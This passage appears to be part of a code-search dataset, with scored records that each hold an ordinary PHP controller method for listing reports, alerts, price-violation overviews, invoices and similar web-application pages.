$items[$added_item['id']] = array(\n 'Code' => $added_item['Code'],\n 'Name' => $added_item['Name'],\n 'CommonName' => $added_item['MenuName']\n );\n }\n\n $per_day_count[$added_item['id']][$item['day']] = (isset($per_day_count[$added_item['id']][$item['day']]) ? $per_day_count[$added_item['id']][$item['day']] + 1 : 1);\n $day_total[$item['day']] = (isset($day_total[$item['day']]) ? ($day_total[$item['day']] + 1) : 1);\n }\n }\n }\n\n ksort($day_total);\n\n $report_data = array(\n 'items' => $items,\n 'per_day_count' => $per_day_count,\n 'daily_total' => $day_total\n );\n\n // print_data($report_data, true);\n\n $viewData = array(\n 'pageTitle' => 'Organization - Daily Violation Report',\n 'accountInfo' => user_account_details(),\n 'nosidebar' => true,\n 'shownav' => true,\n 'date' => $date,\n 'reportData' => $report_data\n );\n\n view('reports/cttmo/dailyviolations', $viewData, 'templates/mgov');\n }", "title": "" }, { "docid": "8f5d0af6e8a1b50516aa337518308613", "score": "0.5325105", "text": "public function getAlerts()\n {\n return imap_alerts();\n }", "title": "" }, { "docid": "393c9b6948ecdcdc6ae51f467aa72d9f", "score": "0.53218246", "text": "public function index() {\n if ($this->isUserType('admin') || $this->isUserType('seller')) {\n return view('pages.loss')\n ->with('losses', Loss::orderBy('created_at', 'desc')->paginate(20));\n }\n return redirect('/')->with('error', 'You don\\'t have the privilege');\n }", "title": "" }, { "docid": "34768a017832c517e468d8a2dbcafc5c", "score": "0.5317", "text": "public function getInvalidVirement(){\n $virementInvalid = $this->virementExterneService->getInvalidVirementExternes();\n return response()->json($virementInvalid, 200);\n }", "title": "" }, { "docid": "24defc06398a90981e0f6b4947b9d07b", "score": "0.53129494", "text": "public function index()\n {\n $hr_reports = Hrreport::latest()->with('owner')->paginate(20);\n\n $no = $hr_reports->firstItem();\n\n return view('hr.reports.index', compact('hr_reports', 'no'));\n }", "title": "" }, { "docid": "93b9e3643d068e5bce1e2704f0bac10e", "score": "0.5311197", "text": "public function employee_evaluation_index()\n {\n\n $users = User::All();\n\n return view('admin.management.evaluation.evaluation')->with('users',$users);\n\n }", "title": "" }, { "docid": "f04ec896e0d1010347ce5ccaf1c5bdd6", "score": "0.5309064", "text": "public function all()\n\t{\n\t\t$responseCode = http_response_code();\n\n\t\t$error = [\n\t\t\t'status' => $responseCode,\n\t\t\t'text' => match ( $responseCode ) {\n\t\t\t\t200 => __( 'Please provide appropriate template for this request', 'brocooly' ),\n\t\t\t\t404 => __( 'Page was not found', 'brocooly' ),\n\t\t\t\t500 => __( 'Server error', 'brocooly' ),\n\t\t\t\tdefault => __( 'There has been a critical error on this website', 'brocooly' ),\n\t\t\t},\n\t\t];\n\t\treturn output( 'content.error', compact( 'error' ) )->withStatus( $responseCode );\n\t}", "title": "" }, { "docid": "47b36d1b66ef23ce3ff71fab0937f8b7", "score": "0.53068197", "text": "public function index()\n {\n\n // dd($this->reportRepository->all());\n $contacts = Contact::all();\n\n return view('audits.index', compact('contacts'));\n\n }", "title": "" }, { "docid": "6a8f8f64010f7cbbfa92becf276e3108", "score": "0.5304778", "text": "public function index(Request $request)\n {\n $severitys = Severity::latest()->paginate(4);\n\n\n return view('severitys.index',compact('severitys'))->with('i',(request()->input('page',1) - 1 ) * 4);\n }", "title": "" }, { "docid": "27482650864d6d0d4d86f82b5ef447d1", "score": "0.5304208", "text": "public function index()\n {\n \n $codenc = 10;\n $encuestas = Encuesta::all();\n $enc = Encuesta::find($codenc);\n $indicadores = $enc->indicadores->unique('i_codind')->sortBy('i_numind');\n $departamentos = Departamento::all()->lists('v_desdep','v_coddep'); \n $tiporganismos = TipoOrganismo::all()->lists('v_destiporg','i_codtiporg');\n $preguntas = $enc->preguntas; \n $alternativas = Alternativa::all();\n $respuestas = Respuesta::where('i_codenc',$codenc)->get();\n //dd($preguntas);\n return view('reportes.index', ['encuestas'=>$encuestas,'indicadores'=>$indicadores,'preguntas'=>$preguntas,'departamentos'=>$departamentos,'tiporganismos'=>$tiporganismos, 'alternativas'=>$alternativas, 'respuestas'=>$respuestas]);\n }", "title": "" }, { "docid": "4a629bc7b802ab1af1c3573fb8f48adf", "score": "0.5300371", "text": "public function index() {return view('alerts.index', [\n 'alerts' => Alert::where('complete','=',0)->orderBy('id','ASC')->get(),\n 'rName' => Auth::user()->role->title,\n\n ]);}", "title": "" }, { "docid": "352a13fa4b2148441124734c63020eb3", "score": "0.52929145", "text": "function alerts()\n\t{\n\t\t$header_params = array('page'=>'member');\n\t\t$this->load->view('hcdec_header', $header_params);\n\t\t\n\t\t$this->load->model('alerts');\n\t\t$alerts = $this->alerts->getNewAndActiveAlerts();\n\t\t$body_params = array('alerts'=>$alerts);\n\t\t$this->load->view('hcdec_alerts', $body_params);\n\t\t$this->load->view('hcdec_footer');\n\t}", "title": "" }, { "docid": "669909ecade60fd3216546d9704efa40", "score": "0.5287885", "text": "public function index()\n {\n $nidn = auth()->user()->registration_number;\n\n $studyProgram = Lecturer::where('nidn', $nidn)->select('study_program_code')->first();\n $submissionSeminarAssessment = SubmissionAssessment::with(['thesis', 'student'])\n ->whereHas('student', function ($query) use ($studyProgram) {\n $query->where('study_program_code', $studyProgram->study_program_code);\n })\n ->type(AssessmentTypes::SEMINAR)\n ->emptyTester()\n ->approved()\n ->get();\n\n return viewStudyProgramLeader('determination.seminar-examiner.index', compact('submissionSeminarAssessment'));\n }", "title": "" }, { "docid": "a26b5b571a807d6f9242f270c45e6083", "score": "0.5282163", "text": "public function getAllWarning(){\n $temp = Carbon::now('Asia/Jakarta');\n $start = Carbon::parse(date_format($temp,'d M Y'));\n\n $temp2 = Carbon::now('Asia/Jakarta')->addDays(14);\n $end = Carbon::parse(date_format($temp2,'d M Y'));\n $allWarning = Schedule::whereBetween('finish_date', array($start->toDateTimeString(), $end->toDateTimeString()))->get();\n\n $data = [\n 'allWarning' => $allWarning\n ];\n\n return view('admin.warning')->with($data);\n }", "title": "" }, { "docid": "9582cdf443ac3e6647b327b520adb535", "score": "0.5279966", "text": "public function index()\n {\n\n $this->repository->pushCriteria(app('Prettus\\Repository\\Criteria\\RequestCriteria'));\n $audits = $this->repository->paginate();\n\n if (request()->wantsJson()) {\n\n return response()->json([\n 'data' => $audits,\n ]);\n\n }\n\n return view('page.audits.index', compact('audits'));\n\n }", "title": "" }, { "docid": "25aab1aa93b5fe2938317d1d979bd0bf", "score": "0.52690333", "text": "public function getIndexEmp()\n {\n $browes = Voyager::canOrFail('browse_absent_employees');\n return view('vendor.voyager.reports.absent-emp');\n }", "title": "" }, { "docid": "1f9b269b3b3663d1839887d1e8fa2cf8", "score": "0.5268857", "text": "public function index()\n {\n //\n $authUser = Auth::User()->id;\n $surveyUserMsg = \"\";\n $surveyUser = User::find($authUser)->surveys()->get();\n $surveysHTML = [];\n $surveysHTMLType = [];\n $daysLeftSurveyHTML = [];\n $dateLimitSurveyHTML = [];\n $submittedSurveyHTML = [];\n \n \n foreach($surveyUser as $survey) {\n $dateLimit = surveyUsers::where('idSurvey',$survey->id)->where('idUser', $authUser)->first()->dateLimit;\n $todayDate = date_create(date(\"Y-m-d\"));\n $Limit = date_create($dateLimit);\n $daysLeft = date_diff($todayDate, $Limit); \n array_push($surveysHTML,$survey);\n array_push($surveysHTMLType, $survey->surveyType->description);\n if($todayDate > $Limit) {\n array_push($daysLeftSurveyHTML, \"Expired\");\n array_push($dateLimitSurveyHTML, \"\");\n }\n else {\n array_push($daysLeftSurveyHTML, $daysLeft);\n array_push($dateLimitSurveyHTML, $Limit->format('Y-m-d'));\n }\n $submitted = surveyUsers::where('idSurvey', $survey->id)->where('idUser', $authUser)->first()->submitted;\n array_push($submittedSurveyHTML, $submitted); \n\n }\n\n return view('testeEvalsUserPerspectiveIndex')\n ->with('surveysHTML', $surveysHTML)\n ->with('surveysHTMLType', $surveysHTMLType)\n ->with('daysLeftSurveyHTML', $daysLeftSurveyHTML)\n ->with('dateLimitSurveyHTML', $dateLimitSurveyHTML)\n ->with('submittedSurveyHTML', $submittedSurveyHTML)\n ->with('surveyUserMsg',$surveyUserMsg)\n ->with('authUser', $authUser); //user autenticado\n }", "title": "" }, { "docid": "1dee0158746c6b66f95ce21e711a29d8", "score": "0.52616346", "text": "public function index()\n {\n $monitoringLines = Monitoring_line::paginate(25);\n\n return view('monitoring_lines.index', compact('monitoringLines'));\n }", "title": "" }, { "docid": "88b4a26f760dc9927458bf7e3fb73d77", "score": "0.5261597", "text": "public function index(){\n $ofertas = Oferta::all()->sortByDesc('updated_at')->toArray();\n\n $this->dolarPizzarraInter();\n\n if (Auth::check()){\n $ofertasNoCalif = Oferta::where(function ($query){\n $query->where('concretada', '=', Auth::user()->id);\n })->where(function ($query){\n $query->where('rate','=', null);\n })->get()->toArray();\n\n if(count($ofertasNoCalif) > 0){\n return redirect('calificar/ofertas');\n }\n }\n\n\n return View::make('muro.oferta')->with('elInter', $this->elInter)->with('ofertas', $ofertas)->with('elPiza', $this->pizarra);\n }", "title": "" }, { "docid": "99ac37d2fb55f86b26f8d642fdf14b9d", "score": "0.5261064", "text": "public function index()\n {\n $vouchers = Voucher::where('terminal_id', Auth::user()->terminal_id);\n return view('admin.voucher.index', ['vouchers' => $vouchers]);\n }", "title": "" }, { "docid": "dd32747902ad9d699600f6904f96f710", "score": "0.5253504", "text": "public function index()\n {\n try {\n $vouchers = $this->voucher->all();\n return view('adminlte::voucher_list', compact('vouchers'));\n } catch (Exception $e) {\n dd($e);\n }\n }", "title": "" }, { "docid": "7c1ebc09ac05275d2f1be8d28ba406d1", "score": "0.5251358", "text": "public function unviewedIncidents() {\n\n $cutoff_date = $this->created_at->subMonth(); // determine how far back users are responsible for viewing incidents\n \n // retrieve all the incidents that occurred after the cutoff date\n $incidents = Incident::where('date', '>=', $cutoff_date->toDateString())->get();\n\n // retrieve all the incidents that the user has viewed after the cutoff date\n $viewed_after_cutoff = $this->incidentsViewed()->where('date', '>=', $cutoff_date->toDateString())->get();\n\n // return the unviewed incidents\n return $incidents->diff($viewed_after_cutoff);\n }", "title": "" }, { "docid": "89ce9bf3601a8e3e84b23ecfdfa3bf8e", "score": "0.52496064", "text": "public function index()\n {\n $leases = \\App\\Leases::All();\n $users = \\App\\User::find(Auth::id());\n $storings = \\App\\Error::All();\n\n return view('maintenance/index',['users' => $users ,'leases' => $leases ,'storings'=>$storings]);\n }", "title": "" }, { "docid": "1bcaaf7cc9c7e83458e5d2b6aca9c719", "score": "0.52439135", "text": "public function index()\n\t{\n\t\t$roleName = $this->getInfoUser('role')['name'];\n\t\t$menus = $this->Dashboard->getMenuList(\n\t\t\t$this->getInfoUser('id'), $roleName\n\t\t);\n\t\t\n\t\t$reports = $this->Paginator->paginate(\n\t\t\t$this->tableReport->getReportForDashboard($this->getInfoUser())\n\t\t);\n\t\t\n\t\t$this->set(compact('menus', 'reports', 'roleName', 'messageNumbers'));\n\t}", "title": "" }, { "docid": "f2b653486c2fb65f9c828814fe880afa", "score": "0.5237623", "text": "public function index()\n {\n //\n $auth_user = auth()->user();\n $date_today = Carbon::now();//->format('Y-m-d');\n \n $itemIssueObject = new ItemIssue();\n $itemIssueObjectArray = array();\n \n $query = $itemIssueObject->with( array('transactionType', 'customer', 'user', 'itemReceives', 'itemIssueDatas') )\n ->where('is_visible', '=', true)\n ->where('transaction_type_id', '=', 4);\n $itemIssueObjectArray = $query->get();\n \n if(view()->exists('pages.handoveremp')){\n return View::make('pages.handoveremp', array(\n 'itemIssueObjectArray' => $itemIssueObjectArray\n ));\n }\n }", "title": "" }, { "docid": "136bf79efee6921db84228b2e77c04b2", "score": "0.5233832", "text": "public function getIndex()\n {\n $browes = Voyager::canOrFail('browse_absent_students');\n return view('vendor.voyager.reports.absent-students');\n }", "title": "" }, { "docid": "1de7b97443c5bc64ba6823f55b64f72d", "score": "0.5233654", "text": "public function index()\n {\n $registration = Registration::with('patient')\n ->whereDate('created_at', Carbon::today())\n ->where('vitals',0)->limit(5)\n ->orderBy('created_at','asc')->get();\n\n return view('pages.vitals.index')\n ->with('registration',$registration);\n }", "title": "" }, { "docid": "63d5e5522d986cfa3a2a49ee751114be", "score": "0.5232942", "text": "public function itlIndex()\n {\n $itls = Eraser::where('eraser_type','itl')->get();\n\n return view('itl.index', compact('itls'));\n }", "title": "" }, { "docid": "d7ff68c7a30a77c62afa6dfb441cd3ca", "score": "0.5227235", "text": "public function index()\n {\n $user = Session::get('user');\n if ((is_null($user)) || (!$user->id)) {\n return View('app.index', ['service' => 'active', 'user' => null]);\n }\n if($user->acc_active==0)\n return redirect()->action('LoginController@logout', ['service' => 'active']);\n\n $service = Session::get('service');\n\n $dvc = Input::get('dvc');\n\n $device = Device::find($dvc);\n\n if(!$device){\n Session::flash('message', 'No se pudo cargar la página solicitada!, error al recuperar la información solicitada');\n return redirect()->back();\n }\n\n $reports = DvcFailureReport::where('device_id', $dvc);\n\n if(!(($user->priv_level>=2&&$user->area=='Gerencia Tecnica')||$user->priv_level>=3||$user->work_type=='Almacén'))\n $reports = $reports->where('user_id', $user->id);\n\n $reports = $reports->orderBy('created_at', 'desc')->paginate(20);\n\n return View::make('app.device_failure_report_brief', ['reports' => $reports, 'service' => $service,\n 'user' => $user, 'device' => $device]);\n }", "title": "" }, { "docid": "849c8d9936377fcca15e9f724ed5a57c", "score": "0.5223731", "text": "public function index()\n {\n $reponses = Reponse::latest()->paginate(5);\n return view('reponses.index',compact('reponses'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "4ea53c85c69e6c3bdef2ae598f62fdf6", "score": "0.52172256", "text": "public function violator_report($merchantId, $id = false)\n { \n if ($id) \n {\n $this->data->report_id = base64_decode(urldecode($id));\n }\n \n $this->data->merchant = $this->merchant_products_m->getMerchantDetailsById($merchantId);\n \n //var_dump($this->data->merchant); exit();\n \n if (empty($this->data->merchant))\n {\n $this->session->set_flashdata('error_msg', 'Merchant data is not available at this time.');\n \n redirect('/violationoverview');\n exit();\n }\n \n $this->data->report_name = trim($this->data->merchant['original_name']).' Violated Products';\n $this->data->file_name = str_replace(' ', '_', $this->data->report_name.' '.date('Y-m-d')); \n \n $this->data->my = 'pricingviolator';\n $this->data->icon = 'ico-report';\n $this->data->widget = 'mv-report';\n $this->data->displayBookmark = TRUE;\n \n $this->data->violations = $this->Violator->getViolatorReport($this->store_id, $this->data->merchant);\n \n $this->data->report_where = array(\n \t'fromDate' => 'Start',\n \t'toDate' => 'Stop',\n \t'cron_ids' => array(),\n \t'time_frame' => 1,\n \t'report_type' => 'violationoverview',\n \t'report_function' => 'violator_report',\n \t'user_id' => (int)$this->data->merchant['id']\n );\n \n // violator notification data\n $this->data->violator_notification = $this->Store->get_violator_notification_by_seller($this->data->merchant['id'], $this->store_id);\n \n $this->data->show_notify_resource = $merchantId;\n \n $this->data->original_name = trim($this->data->merchant['original_name']);\n \n $this->data->smtp = $this->Store->get_store_smtp_by_store($this->store_id);\n \n $this->load->view('violationoverview/violator_report', $this->data, TRUE);\n }", "title": "" }, { "docid": "fb4636bc005fc6715424826a5a07cf19", "score": "0.52166754", "text": "public function index()\n {\n foreach(auth()->user()->unreadNotifications as $notification){\n $notification->markAsRead();\n }\n return view('user.alerts');\n }", "title": "" }, { "docid": "ca0b7105690fab1d65b92d80552d76ed", "score": "0.52109456", "text": "public function idealIssuersAction()\n {\n Shopware()->Plugins()->Controller()->ViewRenderer()->setNoRender();\n\n try {\n $this->loadServices();\n\n // get the issuers from the IdealService, or return an error\n /** @var IdealService $ideal */\n $idealService = $this->container->get('mollie_shopware.ideal_service');\n\n /** @var array $idealIssuers */\n $idealIssuers = $idealService->getIssuers();\n\n $this->sendResponse([\n 'data' => $idealIssuers,\n 'success' => true,\n ]);\n } catch (\\Exception $ex) {\n $this->sendResponse(\n [\n 'message' => $ex->getMessage(),\n 'success' => false],\n 500\n );\n }\n }", "title": "" }, { "docid": "afcff034f195e5ba5d1dcaabd673d8c7", "score": "0.5209769", "text": "public function index()\n {\n $pendingAlerts = Alert::all()->where('closed', false);\n $closedAlerts = Alert::all()->where('closed', true)->where('parent', null)->sortByDesc('created_at');\n $clients = Client::all();\n $robotTools = UiPathRobotTool::all();\n\n return view('dashboard.index', [\n 'page' => 'dashboard.index',\n 'orchestratorsCount' => UiPathOrchestrator::all()->count(),\n 'pendingAlerts' => $pendingAlerts,\n 'closedAlerts' => $closedAlerts->take(env('APP_CLOSED_ALERTS_LIMIT', 100)),\n 'clients' => $clients,\n 'clientsCount' => $clients->count(),\n 'watchedAutomatedProcessesCount' => WatchedAutomatedProcess::all()->count(),\n 'robotsCount' => UiPathRobot::all()->count(),\n 'alertTriggersCount' => AlertTrigger::all()->where('deleted', false)->count(),\n 'openedAlertsCount' => Alert::where('closed', false)->count(),\n 'underRevisionAlertsCount' => Alert::where('closed', false)->where('under_revision', true)->count(),\n 'closedAlertsCount' => $closedAlerts->count(),\n 'robotToolsCount' => $robotTools->count()\n ]);\n }", "title": "" }, { "docid": "b3aff3f1ed55f8d8f35d4393f5b0c781", "score": "0.5209402", "text": "public function index()\n {\n $reporteActividades = ReporteActividade::paginate();\n\n return view('reporte-actividade.index', compact('reporteActividades'))\n ->with('i', (request()->input('page', 1) - 1) * $reporteActividades->perPage());\n }", "title": "" }, { "docid": "f2bd6b01d2fca34e6aebdb336e7bb5cd", "score": "0.5202569", "text": "public function index()\n {\n $problems = Problem::paginate(25);\n\n return view('problems.index', compact('problems'));\n }", "title": "" }, { "docid": "20f2b4b9da072313c8d751392fa07582", "score": "0.52014977", "text": "public function index() {\n $reservations = Reservation::where('valid_to', '>', new \\DateTime('now', new \\DateTimeZone('Europe/Warsaw')))\n ->orderBy('valid_to', 'DESC')\n ->get();\n\n return ReservationResource::collection($reservations);\n }", "title": "" }, { "docid": "e9397e3a28c47d2d3612bad63d6cf046", "score": "0.5196345", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $reportedNurls = $em->getRepository('AppBundle:ReportedNurl')->findByAccepted(null);\n\n return $this->render('reportednurl/index.html.twig', array(\n 'reportedNurls' => $reportedNurls,\n ));\n }", "title": "" }, { "docid": "27801f12f0e4948cc4ba0a8ba60c1430", "score": "0.51956135", "text": "public function displayList()\r\n {\r\n if ($this->requests == null)\r\n {\r\n $res = \r\n '<tr colspan=\"5\"><td>\r\n There are no new requests to view.\r\n </td></tr>';\r\n }\r\n \r\n else\r\n {\r\n $res = \"\";\r\n foreach($this->requests as $row)\r\n {\r\n //$date = date($row['date']);\r\n $res .= '<tr><td width=\"15%\">Employee number: '.$row['user_id'].'</td><td width=\"15%\">Start date: '.$row['start'].'</td><td width=\"15%\">End date: '.$row['end'].'</td><td>Reason: '.$row['title'].'</td><td width=\"15%\"><a href=\"ServiceHRM.php?action=LeaveRequests&a=approve&id='.$row['id'].'\">Approve</a> | <a href=\"ServiceHRM.php?action=LeaveRequests&a=reject&id='.$row['id'].'\">Reject</a></td></tr>';\r\n }\r\n \r\n }\r\n \r\n return $res;\r\n }", "title": "" }, { "docid": "e986a8e48f65b17807bce7ba41c46f49", "score": "0.51951927", "text": "public function index()\n {\n $data = Villager::where('status', 'ada');\n\n if (request()->get('name') && request()->get('name') != null) {\n $data = $data->where('name', '=', request()->get('name'));\n }\n\n if (request()->get('gender') && request()->get('gender') != null) {\n $data = $data->where('gender', '=', request()->get('gender'));\n }\n\n if (request()->get('religion') && request()->get('religion') != null) {\n $data = $data->where('religion', '=', request()->get('religion'));\n }\n\n if (request()->get('blood_type') && request()->get('blood_type') != null) {\n $data = $data->where('blood_type', '=', request()->get('blood_type'));\n }\n \n $villagers = $data->get();\n return view('pages.villager.index')->with([\n 'villagers' => $villagers\n ]);\n }", "title": "" }, { "docid": "d0fd6d6e2061fcfefff598bf801b570e", "score": "0.5195177", "text": "public function evaluationReport()\n {\n return view(\"Physician::evaluation_report\");\n }", "title": "" }, { "docid": "a6a8de689b5d31cac9b5dc5fc23a91fc", "score": "0.51948154", "text": "public function index()\n\t{\n\t\t$userId = User::getUserIdByAuth();\n\t\tif (User::isAdmin() == ROLE_ADMIN) {\n\t\t\t$data = Report::orderBy('id', 'desc');\n\t\t\t$data = $data->paginate(PAGINATE);\n\t\t}\n\t\tif (User::isAdmin() == ROLE_USER) {\n\t\t\t$userReports = Report::where('user_id', $userId)->lists('id');\n\t\t\t$receiverReports = ReportUser::where('receiver_id', $userId)->lists('report_id');\n\t\t\t$listReports = array_merge($userReports, $receiverReports);\n\t\t\t$data = Report::whereIn('id', $listReports)\n\t\t\t\t->paginate(PAGINATE);\n\t\t}\n\t\treturn View::make('admin.report.index')->with(compact('data'));\n\t}", "title": "" }, { "docid": "a3bdca6a5620927f93790ae106dcd473", "score": "0.5192007", "text": "public function index(){\n\n return Auth::user()->notices;\n }", "title": "" }, { "docid": "10e3b81e5316de4f4def62ea05e07d4e", "score": "0.51894706", "text": "public function index(Request $request)\n {\n $limit = 10;\n $severity = $this->severity->getAll($limit);\n $data = [\n 'severity' => $severity,\n 'i' => $request->page ? (($limit*($request->page -1)) + 1) : 1,\n ];\n return view('severity/list', $data);\n }", "title": "" }, { "docid": "be41ad0f3b829f9fd09a2d3285ef4b44", "score": "0.51894623", "text": "public function index()\n {\n $whereBranch = $this->getBranchId();\n $smtp2 = Branch::query()\n ->select('*')\n -> where('trash', 0)\n ->whereRaw(\"branches.id = \". $whereBranch)\n ->get();\n $smtp3 = Department::all()->where('trash', 0);\n return view('employee.index', [\n 'data2' => $smtp2,\n 'data3' => $smtp3,\n ]);\n }", "title": "" }, { "docid": "94199aed6d92f2dec0e8ca483caa05e9", "score": "0.51888716", "text": "public function admin_index() {\n $this->Acl->aro = array('root', 'admin');\n if (!$this->Acl->isAuthorized()) {\n $this->Session->setFlash(Configure::read('ACL_ERROR'), 'default', array('class' => 'message message-error'));\n $this->redirect();\n }\n \n $this->seo['title'] = __(Configure::read('BROWSER_TITLE_FORMAT'), \n __('Listado de Vencimientos'), \n Configure::read('SITE_NAME'));\n \n $expirations = $this->Expiration->find('all', array(\n 'conditions' => array('Expiration.status' => 'active',\n\t\t\t\t\t\t\t\t 'Expiration.date_exp >=' => date('Y-m-d'),\n 'Expiration.type' => 'now'),\n 'order' => array('Expiration.date_exp' => 'DESC'),\n ));\n \n $this->set('expirations', $expirations);\n \n $this->render('admin/index');\n }", "title": "" }, { "docid": "d80d187a79d38adbdd43f4d273b0ab96", "score": "0.51863164", "text": "public function index()\n {\n return view('alert.list');\n }", "title": "" }, { "docid": "7cd42c81f0cece90c432ae8b7b430252", "score": "0.5185702", "text": "public function indexAction() {\n\t\t$xmlitemArray = $this->xmlitemRepository->findByStatus('experts');\n\t\t$this->view->assign('xmlitemArray', $xmlitemArray);\n\t}", "title": "" }, { "docid": "fb5ba3fb976d9e999b35f1f0ed7a1ac8", "score": "0.51835877", "text": "public function userlivreurAction()\n {\n if (!$this->get('security.authorization_checker')->isGranted('ROLE_ADMIN')) {\n return $this->render('default/404.html.twig');\n }\n $em = $this->getDoctrine()->getManager();\n\n $usrs = $em->getRepository('AppBundle:Usr')->findBy(\n ['roles' => ['[\"ROLE_Delivery\"]']]\n );\n\n return $this->render('admin/usr/list_usr_livreur.html.twig', array(\n 'usrs' => $usrs,\n ));\n }", "title": "" }, { "docid": "8c7cd73655d8b4c8b3470a937d77c838", "score": "0.51832044", "text": "function alertsManagement(){\n\n $current_user = wp_get_current_user();\n $user = $current_user->user_login;\n $result = $this->DB->getListAlertByAuthor($user);\n\n $this->view->tabHeadAlert();\n $i = 0;\n\n foreach ($result as $row) {\n $id = $row['ID_alert'];\n $author = $row['author'];\n $content = $row['text'];\n $creationDate = $row['creation_date'];\n $endDate = $row['end_date'];\n\n $this->endDateCheckAlert($id, $endDate);\n\n\n $this->view->displayAllAlert($id, $author, $content, $creationDate, $endDate, ++$i);\n }\n $this->view->displayEndTab();\n }", "title": "" }, { "docid": "934bfe9b7d32254ad9426844b3dff677", "score": "0.5178724", "text": "public function index()\n {\n //$problems = $this->problem->all();\n\n return $this->view('admin::problems.index');\n }", "title": "" }, { "docid": "1b557fe4f392cdfa2984e9a157ad51f8", "score": "0.5177742", "text": "public function index()\n {\n $allUnpaidInvoices = Invoice::with('invoiceStatus')->whereHas('invoiceStatus', function (Builder $query) {\n $query->where('id', Config::get('constants.invoice_status.unpaid'));\n })->get();\n $this->invoiceRepository->checkIfOverdue($allUnpaidInvoices);\n $this->data['invoiceStatuses'] = $this->invoiceRepository->getInvoicesStatuses();\n $this->data['invoices'] = $this->invoiceRepository->getInvoices();\n //Ispis klijenata prilikom dodavanja nove fakture\n $this->data['clients'] = $this->invoiceRepository->getClients();\n\n foreach ($this->data['invoices'] as $invoice){\n $invoice->total = $this->invoiceRepository->countInvoiceDebt($invoice);\n $invoice->debt = $this->invoiceRepository->countDebt($invoice);\n }\n return view('pages.home', $this->data);\n }", "title": "" }, { "docid": "266d82f9271c13a2e603985996cef6b8", "score": "0.5174662", "text": "public function index(){\n\n if(!has_permiso('Validar tiendas')){\n return view('errors.403');\n }\n\n $data['tiendas'] = $this->tiendaRepo->tiendas_por_validar();\n\n return view('dashboard.validaciones.lista-tiendas', compact('data'));\n\n }", "title": "" }, { "docid": "ed8bf1737298aecf5d3cc331d10e4080", "score": "0.5174097", "text": "public function indexAction()\n {\n // Récupérer manager\n $_anomalie_manager = $this->get(ServiceName::SRV_METIER_ANOMALIE);\n\n // Récupérer tout les carosséries\n $_anomalies = $_anomalie_manager->getAllCtAnomalieByOrder(array('id' => 'DESC'));\n\n return $this->render('AdminBundle:CtAnomalie:index.html.twig', array(\n 'anomalies' => $_anomalies,\n ));\n }", "title": "" }, { "docid": "6a5f413cba10ce70c3a94354eaa6d912", "score": "0.5173739", "text": "public function violations_by_marketplace($id = FALSE)\n {\n // Tell the view this is the violation overview report\n $this->data->my = 'violationOverview';\n $this->data->report_name = 'Violation Overview';\n $this->data->file_name = str_replace(' ', '_', 'Violations Overview '.date('m-d-Y'));\n \n //if($id) $this->data->report_id = base64_decode(urldecode($id));\n if($id) $this->data->report_id = $id; // Christophe: what is this $id used for??\n \n // Get the last crawl data\n //$this->data->last_crawl = $this->crawl_data_m->last_crawl();\n // Christophe: Chris says that generally we have violation data if we look at the past\n // 48 hours of crawling (2 days is 2 param with below)\n $this->data->last_crawl = $this->crawl_data_m->last_crawl('all', 2); \n \n $this->crawl_range = $this->crawl_data_m->last_crawl_range();\n $this->data->number_of_merchants = getNumberOfMerchants(\n \t$this->store_id,\n \t$this->crawl_range['from'],\n \t$this->crawl_range['to']\n );\n \n //var_dump($this->data->last_crawl); exit();\n \n $this->data->last_tracked_arr = $this->Report->last_tracked_image($this->crawl_range['from']);\n $this->data->last_tracked_date = trackingDateFormat($this->crawl_range['from']);\n \n // Get market/merchant/product violations\n //$this->data->priceViolators = $this->_countPriceViolations();\n //$this->data->totalPriceViolators = count($this->data->priceViolators);\n \n $this->data->violatedProducts = $this->Violator->getViolatedProducts($this->store_id);\n \n // what does this do? - Christophe\n loadPricePoints($this->data->violatedProducts, strtotime($this->crawl_range['from']));\n \n // Calculate the overview statistics\n $this->data->products_monitored = $this->Product->getProductsMonitoredCount($this->store_id);\n $this->data->total_violations = count($this->data->violatedProducts);\n \n $this->data->marketplace_products = array();\n $this->data->market_violations = array();\n \n $markets = $this->Market->get_marketplaces_by_storeid_using_categories($this->store_id);\n \n //var_dump($markets); exit();\n \n //var_dump($this->data->last_crawl); exit();\n \n foreach ($markets as $market)\n {\n // check only marketplaces\n if ($market['is_retailer'] === '0')\n {\n $market = $market['name'];\n \n $crawl_info = ! empty($this->data->last_crawl[$market]) ? $this->data->last_crawl[$market] : FALSE;\n \n if ($this->config->item('environment') == 'local')\n {\n $crawl_info = TRUE;\n }\n \n if ($crawl_info)\n {\n if ($this->config->item('environment') == 'local')\n {\n \t$from = '2015-08-01 00:00:00';\n \t$to = '2015-08-02 00:00:00';\n }\n else\n {\n \t//$from = date('Y-m-d H:i:s', strtotime('-24 hours'));\n \t//$to = date('Y-m-d H:i:s');\n \t\n \t$from = $crawl_info->start_datetime;\n \t$to = $crawl_info->end_datetime;\n }\n \n \t// CS: get count of marketplace violations (gets all from products_trends_new table)\n \t$marketplace_products = $this->merchant_products_m->getCountByMarketplace($this->store_id, $market, $from, $to, 1);\n \t\n \t//print_r($marketplace_products);\n \tif (!empty($marketplace_products))\n \t{\n \t\t//$market_violations = $this->Violator->getViolatedMarkets($this->store_id, '', $market, $from, $to); // this is retarded\n \t\t//print_r($market_violations);\n \t\t$this->data->marketplace_products[] = $marketplace_products[0];\n \t\t//$this->data->market_violations[$market] = $market_violations[$market];\n \t\t$this->data->market_violations[$market] = $marketplace_products[0]['violated_products'];\n \t}\n }\n }\n }\t\n \n //exit(); \n \n $this->data->marketplaces = array();\n $this->data->retailers = array();\n $this->data->violatedMarketplaces = array();\n $this->data->violatedRetailers = array();\n \n //var_dump($this->data->marketplace_products);\n \n for ($i = 0, $n = count($this->data->marketplace_products); $i < $n; $i++)\n {\n $name = $this->data->marketplace_products[$i]['marketplace'];\n \t\t\n \t\tif ($this->data->marketplace_products[$i]['is_retailer'] === '1')\n \t\t{\n \t\t \n \t $merchant = $this->merchant_products_m->getMerchantDetailsByMarketplace($this->data->marketplace_products[$i]['marketplace']);\n \t\t\t\n \t\t\t if (isset($merchant[0]['id']))\n \t\t\t\t{\n \t\t\t\t $this->data->marketplace_products[$i] = array_merge($this->data->marketplace_products[$i], $merchant[0]);\n \t\t\t\t \n \t\t\t\t $this->data->retailers[] = $this->data->marketplace_products[$i];\n \t\t\t\t\n \t\t\t\t if (!empty($this->data->market_violations[$name]))\n \t\t\t\t {\n \t $this->data->violatedRetailers[$name] = TRUE;\n \t\t\t\t }\n }\n \n }\n else\n {\n 